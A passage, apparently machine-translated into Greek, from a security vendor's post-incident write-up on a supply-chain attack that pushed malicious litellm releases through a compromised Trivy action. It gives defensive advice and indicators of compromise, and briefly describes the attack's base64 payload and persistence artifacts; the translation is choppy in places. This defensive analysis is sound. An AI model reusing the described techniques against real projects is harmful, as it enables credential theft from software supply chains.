aquasecurity/trivy-action@<commit-sha>αντί του@latest, η παραβιασμένη ενέργεια δεν θα είχε εκτελεστεί. - Χρησιμοποιήστε βραχύβια, περιορισμένου εύρους διακριτικά δημοσίευσης. Το PyPI υποστηρίζει Αξιόπιστους Εκδότες (βασισμένους σε OIDC) και διακριτικά API με εύρος ζώνης. Το exfiltrationed
PYPI_PUBLISHΤο διακριτικό δεν θα έπρεπε να έχει μακροχρόνια, απεριόριστη πρόσβαση δημοσίευσης. - Ενεργοποίηση ελέγχου ταυτότητας δύο παραγόντων στο PyPI. Απαιτείται 2FA για όλους τους συντηρητές και χρήση κλειδιών ασφαλείας υλικού όπου είναι δυνατόν.
- Υπογράψτε πακέτα. Οι βεβαιώσεις Sigstore/PEP 740 επιτρέπουν στους καταναλωτές να επαληθεύσουν ότι ένα πακέτο δημιουργήθηκε σύμφωνα με τις αναμενόμενες προδιαγραφές. CI/CD pipeline, όχι από εισβολέα με κλεμμένο διακριτικό.
Για Χειριστές Πλατφόρμας (PyPI, npm, GitHub)
- Εντοπίστε ανώμαλα μοτίβα δημοσίευσης. Δύο νέες εκδόσεις που δημοσιεύονται με διαφορά 13 λεπτών, από διαφορετική IP ή διακριτικό από το συνηθισμένο, θα πρέπει να ενεργοποιούν την αναμονή για έλεγχο ή την αυτοματοποιημένη σάρωση πριν το πακέτο καταστεί δυνατό για εγκατάσταση.
- Επιτάχυνση της υιοθέτησης του προγράμματος Αξιόπιστων Εκδοτών. Η δημοσίευση που βασίζεται στο OIDC συνδέει τα πακέτα με συγκεκριμένα αποθετήρια και ροές εργασίας, καθιστώντας τα κλεμμένα tokens άχρηστα εκτός του αρχικού. CI/CD πλαίσιο.
- Υλοποίηση σάρωσης κακόβουλου λογισμικού κατά τη δημοσίευση. Το ωφέλιμο φορτίο με αποκωδικοποίηση base64 στο proxy_server.py θα ήταν ανιχνεύσιμο μέσω στατικής ανάλυσης κατά τη στιγμή της δημοσίευσης.
Για το Οικοσύστημα
- Αντιμετωπίστε τα εργαλεία ασφαλείας ως κρίσιμη υποδομή. Τα Trivy και Checkmarx KICS χρησιμοποιούνται από εκατομμύρια χρήστες. pipelineσ. Οι Ενέργειές τους στο GitHub θα πρέπει να υπογράφονται, να καρφιτσώνονται και να παρακολουθούνται με την ίδια αυστηρότητα όπως τα πακέτα που σαρώνουν.
- Επενδύστε στην ανίχνευση κατά τον χρόνο εκτέλεσης. Η στατική ανάλυση από μόνη της δεν μπορεί να εντοπίσει κάθε τεχνική συσκότισης. Παρακολούθηση εγκατάστασης πακέτου κατά τον χρόνο εκτέλεσης hooks, απροσδόκητες συνδέσεις δικτύου και ύποπτα μοτίβα πρόσβασης σε αρχεία παρέχει άμυνα σε βάθος.
- Κοινοποιήστε πληροφορίες για απειλές πιο γρήγορα. Το χρονικό διάστημα έκθεσης των 5.5 ωρών για το litellm θα μπορούσε να ήταν μικρότερο με ταχύτερο συντονισμό μεταξύ προμηθευτών. Αυτοματοποιημένες υπηρεσίες σάρωσης όπως οι Xygeni MEW, Socket και Snyk εντόπισαν την ανωμαλία — το σημείο συμφόρησης είναι η ανθρώπινη επιβεβαίωση και ο χρόνος απόκρισης του μητρώου.
Συμπέρασμα
Η καμπάνια TeamPCP αποτελεί μια κρίσιμη στιγμή για software supply chain securityΘέτοντας σε κίνδυνο πρώτα τους σαρωτές ασφαλείας και χρησιμοποιώντας τους ως εφαλτήρια για υποδομές τεχνητής νοημοσύνης υψηλής αξίας, οι επιτιθέμενοι απέδειξαν ότι η αλυσίδα εφοδιασμού είναι τόσο ισχυρή όσο η πιο αδύναμη μεταβατική της εξάρτηση και ότι αυτή η εξάρτηση μπορεί να είναι το εργαλείο ασφαλείας που εμπιστεύεστε για να σας διατηρεί ασφαλείς.
Ο συμβιβασμός στο litellm υπογραμμίζει συγκεκριμένα τον αυξανόμενο κίνδυνο για την υποδομή Τεχνητής Νοημοσύνης. Καθώς οι πύλες proxy LLM γίνονται το standard μοτίβο για enterprise Κατά την ανάπτυξη της Τεχνητής Νοημοσύνης, συγκεντρώνουν την πρόσβαση σε κλειδιά API, διαπιστευτήρια cloud και ευαίσθητα δεδομένα σε ένα μόνο στοιχείο. Η παραβίαση αυτού του στοιχείου αποτελεί βασικό κλειδί για ολόκληρη τη στοίβα Τεχνητής Νοημοσύνης.
Οι οργανισμοί που εγκατέστησαν το litellm 1.82.7 ή 1.82.8 κατά τη διάρκεια του παραθύρου των 5.5 ωρών θα πρέπει να το αντιμετωπίσουν ως πλήρη παραβίαση διαπιστευτηρίων: να εναλλάξουν όλα τα μυστικά στοιχεία στα επηρεαζόμενα συστήματα, να ελέγξουν τα συμπλέγματα Kubernetes για node-setup-* κάψουλες σε kube-system, αφαιρέστε τυχόν sysmon.service μονάδες systemd και ελέγξτε για litellm_init.pth στην Python site-packages/ καταλόγους. Χρήστες της επίσημης εικόνας Docker (ghcr.io/berriai/litellm) δεν επηρεάστηκαν, καθώς η εικόνα καρφίτσωσε τις εξαρτήσεις της και δεν αναδημιουργήθηκε κατά τη διάρκεια του παραθύρου έκθεσης.
Σχετικά με το Συγγραφέας
Συνιδρυτής & CTO
Λουίς Ροντρίγκεζ είναι συνιδρυτής και CTO στην Xygeni Security. Με 20+ χρόνια εμπειρίας στην ασφάλεια εφαρμογών, επικεντρώνεται στην προστασία AppSec και στις προηγμένες δυνατότητες ανάλυσης κώδικα που βοηθούν τις ομάδες να μειώσουν τον πραγματικό κίνδυνο παράδοσης.




